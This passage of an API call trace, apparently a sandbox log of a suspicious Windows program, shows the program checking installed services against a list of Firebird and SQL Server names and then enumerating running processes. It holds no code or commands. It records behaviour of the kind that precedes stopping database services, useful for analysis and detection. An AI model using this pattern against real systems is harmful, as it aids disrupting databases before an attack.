lpString2="lmhosts") returned -1 [0278.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0278.024] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0278.024] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0278.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0278.024] lstrlenW (lpString="LSM") returned 3 [0278.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0278.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0278.025] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0278.025] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0278.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0278.025] lstrlenW (lpString="MpsSvc") returned 6 [0278.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0278.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0278.025] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0278.025] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0278.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0278.025] lstrlenW (lpString="NcbService") returned 10 [0278.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0278.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0278.025] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0278.025] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0278.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0278.025] lstrlenW (lpString="netprofm") returned 8 [0278.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0278.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0278.025] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0278.025] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0278.025] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0278.025] lstrlenW (lpString="NgcSvc") returned 6 [0278.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0278.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0278.026] lstrlenW (lpString="NlaSvc") returned 6 [0278.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0278.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0278.026] lstrlenW (lpString="nsi") returned 3 [0278.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0278.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0278.026] lstrlenW (lpString="PcaSvc") returned 6 [0278.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0278.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0278.026] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0278.026] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0278.030] lstrlenW (lpString="PlugPlay") returned 8 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0278.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0278.030] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0278.030] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0278.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0278.030] lstrlenW (lpString="Power") returned 5 [0278.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0278.031] lstrlenW (lpString="ProfSvc") returned 7 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0278.031] lstrlenW (lpString="RpcEptMapper") returned 12 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0278.031] lstrlenW (lpString="RpcSs") returned 5 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0278.031] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0278.031] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0278.031] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0278.031] lstrlenW (lpString="SamSs") returned 5 [0278.031] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0278.031] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0278.032] lstrlenW (lpString="Schedule") returned 8 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0278.032] lstrlenW (lpString="SecurityHealthService") returned 21 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0278.032] lstrlenW (lpString="SENS") returned 4 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0278.032] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0278.032] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0278.032] lstrlenW (lpString="ShellHWDetection") returned 16 [0278.032] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.032] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0278.032] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0278.033] lstrlenW (lpString="Spooler") returned 7 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0278.033] lstrlenW (lpString="StateRepository") returned 15 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0278.033] lstrlenW (lpString="SysMain") returned 7 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0278.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0278.033] lstrlenW (lpString="SystemEventsBroker") returned 18 [0278.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0278.033] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0278.033] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0278.034] lstrlenW (lpString="Themes") returned 6 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0278.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0278.034] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0278.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0278.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0278.034] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0278.034] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0278.034] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45dc468 | out: hHeap=0x640000) returned 1 [0278.034] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x548 [0278.040] Process32FirstW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0278.041] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0278.042] lstrlenW (lpString="System") returned 6 [0278.042] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0278.043] lstrlenW (lpString="smss.exe") returned 8 [0278.044] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.044] lstrlenW (lpString="csrss.exe") returned 9 [0278.045] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0278.046] lstrlenW (lpString="wininit.exe") returned 11 [0278.046] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0278.047] lstrlenW (lpString="csrss.exe") returned 9 [0278.047] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0278.048] lstrlenW (lpString="winlogon.exe") returned 12 [0278.048] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0278.049] lstrlenW (lpString="services.exe") returned 12 [0278.049] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0278.050] lstrlenW (lpString="lsass.exe") returned 9 [0278.050] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.051] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.051] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0278.052] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0278.052] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.053] lstrlenW (lpString="svchost.exe") returned 11 [0278.053] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.054] lstrlenW (lpString="svchost.exe") returned 11 [0278.054] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0278.055] lstrlenW (lpString="dwm.exe") returned 7 [0278.055] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.648] lstrlenW (lpString="svchost.exe") returned 11 [0278.648] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.649] lstrlenW (lpString="svchost.exe") returned 11 [0278.649] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.650] lstrlenW (lpString="svchost.exe") returned 11 [0278.650] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.651] lstrlenW (lpString="svchost.exe") returned 11 [0278.651] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.652] lstrlenW (lpString="svchost.exe") returned 11 [0278.652] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.652] lstrlenW (lpString="svchost.exe") returned 11 [0278.652] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.653] lstrlenW (lpString="svchost.exe") returned 11 [0278.653] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.655] lstrlenW (lpString="svchost.exe") returned 11 [0278.655] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.655] lstrlenW (lpString="svchost.exe") returned 11 [0278.655] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.656] lstrlenW (lpString="svchost.exe") returned 11 [0278.656] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.657] lstrlenW (lpString="spoolsv.exe") returned 11 [0278.657] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.658] lstrlenW (lpString="svchost.exe") returned 11 [0278.658] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.659] lstrlenW (lpString="audiodg.exe") returned 11 [0278.659] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0278.659] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0278.660] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0278.660] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0278.660] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0278.662] lstrlenW (lpString="Memory Compression") returned 18 [0278.662] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.663] lstrlenW (lpString="svchost.exe") returned 11 [0278.663] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.666] lstrlenW (lpString="sihost.exe") returned 10 [0278.666] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0278.667] lstrlenW (lpString="MDMAgent.exe") returned 12 [0278.668] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.669] lstrlenW (lpString="taskhostw.exe") returned 13 [0278.669] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0278.670] lstrlenW (lpString="msoia.exe") returned 9 [0278.670] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.671] lstrlenW (lpString="explorer.exe") returned 12 [0278.671] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.673] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0278.673] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.675] lstrlenW (lpString="SearchUI.exe") returned 12 [0278.698] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.700] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0278.700] Process32NextW (in: hSnapshot=0x548, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.701] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0278.701] Process32NextW (in: hSnapshot=0x548, 